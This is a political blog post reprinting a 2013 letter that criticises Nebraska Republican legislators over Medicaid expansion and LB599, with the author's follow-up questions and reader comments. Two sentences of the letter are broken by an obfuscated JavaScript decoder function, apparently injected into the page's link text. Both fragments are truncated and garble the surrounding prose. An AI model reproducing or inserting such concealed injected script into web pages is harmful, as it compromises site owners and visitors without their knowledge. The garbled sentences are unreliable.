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NEGOP: Help us understand how you differ from Democrats

Originally published , By . Updated . 3 Comments

Norlyn sent the following letter via email to Mark Fahleson, Nebraska Republican Party Chairman, on February 16, 2013, with the subject line: “A dime’s worth of difference”.

Note: Links and footnotes were added to this online version of Norlyn's message for the purpose of encouraging readers to inquire, in greater detail, into the issues Norlyn raised. The first two pages of the relevant portion of the "Chairman's Report" email, "The Real State of the Union", to which Norlyn refers in his message to Mr. Fahleson, are embedded at the bottom of this article.

Mr. Chairman,

I am in receipt of your recent Chairman's Report update, and would like to report an injury; I have some bruising of the chin area, sustained when my jaw hit the floor from incredulity at the following statements:

"President Obama doesn't live in the real world--the one in which we have a $16.5 trillion national debt, entitlement programs that are unsustainable...", and

"We need to remind Nebraskans that there's a difference between our parties...."

Entitlement programs that are unsustainable? Really? This from the state Republican Party chairman whose senators own a super majority in the legislature1 Note that the link provided within the letter's text, regarding the vote on LB599 on April 18, 2012, included tallies of the number of seats held by ...continue the same legislature that is about to pass without serious debate, challenge, or objection, a huge increase in the Nebraska Medicaid entitlement program? An increase that depends for funding on that federal government with the $16.5 trillion debt?

Your Republican state senators, who are leading the charge for this entitlement expansion, and who year after year vote for state budgets that depend on that same federal deficit spending you criticize to finance nearlyfunction m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand THIS Nebraskan Seeing Red" href="http://grassrootsne.com/?p=19775" target="_blank"> 40% of the state spending they approve, do they understand these decisions they make add to that $16.5 trillion deficit you seem so concerned about?

Are you concerned at all about those Republican senators from your state party who last year approved a similar expansion in that same Medicaid entitlement program over their Republican governor's veto?

And who this year, with a huge majority of senators at the Capitol, handed over the chairmanships and control of a majority of the committees to the Democrat minority in the Nebraska legislature?

These Republican state senators of yours that balance our state budget by taking in princely sums of that $16.5 trillion federal deficit spending, do they understand those federal dollars come from taxpayers, including taxpayers in Nebraska?

- Let me answer my own question: a friend recently spoke with one of those Republican state senators by telephone, a senator who was flummoxed and bewildered by the question when my friend asked where the senator thought function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand Health Care for Free" href="http://grassrootsne.com/?p=24486" target="_blank">those funds came from. So, no. Just like the Democrats, the Senator seemed to think those dollars come from the federal Money Fairy.

So can you "remind" this Nebraskan, just what is the difference in fiscal policy terms, between what the Democrats are doing on a federal level, and the decisions and policy solutions being promoted and passed, regarding entitlement programs, by our very own Nebraska state senators, members of your very own Nebraska Republican party, here at the state level?

Please type slowly and use small words, as I am only a constituent who, as a member of the real world, has a limited understanding of these high-level political differences between the parties.

Thank you so much for your understanding and concern. I look forward to having these troubling questions explained in terms I can grasp.

Norlyn Raisch

Concerned Citizen

While Norlyn waits for an answer from the NEGOP Chairman, the following seems pertinent:

  • NEGOP HAS adopted official policy designed to influence the voting behavior of Nebraska's Republican Legislators and to influence the outcome of legislation, however...
  • NEGOP doesn't seem to mind that so many of its Republicans have poor voting / policy positions - there's no evidence of a broad effort to recruit conservative candidates to mount primary challenges in districts with such incumbents OR, even worse, there is a history of active promotion and assistance for some such incumbents. Here are just two examples:
    • No opposition was mounted against Republican State Senator Kathy Campbell (District 25) in 2012 - she ran for re-election ENTIRELY UNOPPOSED - even though she introduced and beat a drum for two years to provide Medicaid prenatal benefits for non-compliant and illegal immigrant women.
      • If the future health of the budget was not adequate motivation for NEGOP leadership, the river of tears and gushy, eeeewww-enducing embrace of State Senator Jeremy Nordquist (leading ObamaCare implementation advocate in the Unicameral) following the successful veto override on her legislation should have been the final straw...

      Kathy Campbell (R) and Jeremy Nordquist (D) share a joyful embrace, apparently Lincoln Journal Star published the picture

     

    • NEGOP promoted State Senator Colby Coash (District 27) 2012 re-election campaign events, despite his support for LB599 - which SHOULD HAVE BEEN a make or break vote for ANY responsible Republican Legislator. Further, Coash has a mixed record on an array of other issues.

"ObamaCare", as in "Repeal ObamaCare", "Stop ObamaCare", etc., etc., was a HUGE election issue and "red-meat" talking point for Republicans beginning in 2009, INCLUDING by Nebraska Republicans.

QUESTIONS I WILL ADD TO NORLYN'S LIST...

  • What has come of Republicans using "ObamaCare" as an election issue?
  • How will Nebraska Republicans handle this issue going forward?

And, when it comes to the NEGOP'S LEADERSHIP...
Will that leadership hold any Nebraska Republican official to account, as in, threaten to withhold support,on anything of substance, like the Medicaid expansion (LB577),...or lawfully fighting implementation in other ways?

[catalyst_hook_box name="refbox"]

Notes & References   [ + ]

1. ↑ Note that the link provided within the letter's text, regarding the vote on LB599 on April 18, 2012, included tallies of the number of seats held by Republicans and Democrats in the Nebraska Unicameral, according to the best available information at the time. We haven't done a new tally for the 103rd Legislature, however, despite the loss of a seat or two, there remains a super-majority of Republicans; 33-35 out of the 49.

Comments

  1. btw, not near enough tags on this post!

    every state grassroots group could/should write one of these, but noone could ever do it better than Ms. Stubborn_Facts and the awesome Nebraska GIN team (specially Norlyn on this one!)…

    Reply

  2. Shelli cuts right to the point. This article is going to promote considerable discussion among the grassroots conservative groups in our state. Last years LB 599 override of Governor Heineman’s veto was especially frustrating and very revealing about what is important to our elected state representatives. And Yes they do use the sentimental factors of young poor pregnant girls, who no matter if they are in this country illegally and breaking the law, get to take advantage of these senators who are up for re-election, or have designs on other political office or even are swayed along gender lines which is so common among the liberal Democrats. It is the Republicans that are the confusing factor of late. The state budget on average increased around 5% across the board. Unlike the year previous.
    The one thing that I think still needs to be included with all Senators is to have their party affiliation attached to their names. This claim that omitting the D, R or I from beside their names was the only proper way to list their representation needs to go the way of the buffalo now. Because frankly, the way some of these votes and committee assignments are happening, makes one wonder if there has been a change in their party affiliation. Of course, the way the Republican party is so split between establishment, ruling elite and Tea Party Republican, a program might actually be needed at the end of every week.

    Reply

    • Jim,
      I’m glad to hear that an article will promote discussion, as that’s definitely one of the objectives. I think the question really is: Will anything change as a result?

      Note that Norlyn’s letter to Mr. Fahleson and my comments focused very much on LB599 and the proposed Medicaid expansion. The silence on this whole subject from “conservatives” is deafening. I’ve seen a lot of stuff about Election 2014, a short list of other bills. Not ONE about the Medicaid Expansion.

      You mentioned Governor Heineman’s veto of LB599. As Linda and I pointed out in the column published April 13, 2013: “Governor needs to use LB599 to draw a line”. The most popular Governor in state history, with a super-majority of his own party members, highest dollar contributor to the NEGOP, in a state with a solid 65% opposition to the health care law, and he can’t stop a veto override? If there ever was a bully pulpit, Dave Heineman has one. What a tragedy that he clearly doesn’t want to use it. Instead of making the lengthy list of available effective arguments, he came up with some lame thing about funding for Planned Parenthood.

      I do have a question for you: What is a “Tea Party Republican”? Could you supply a definition?

      Thank you,
      Shelli

      Reply
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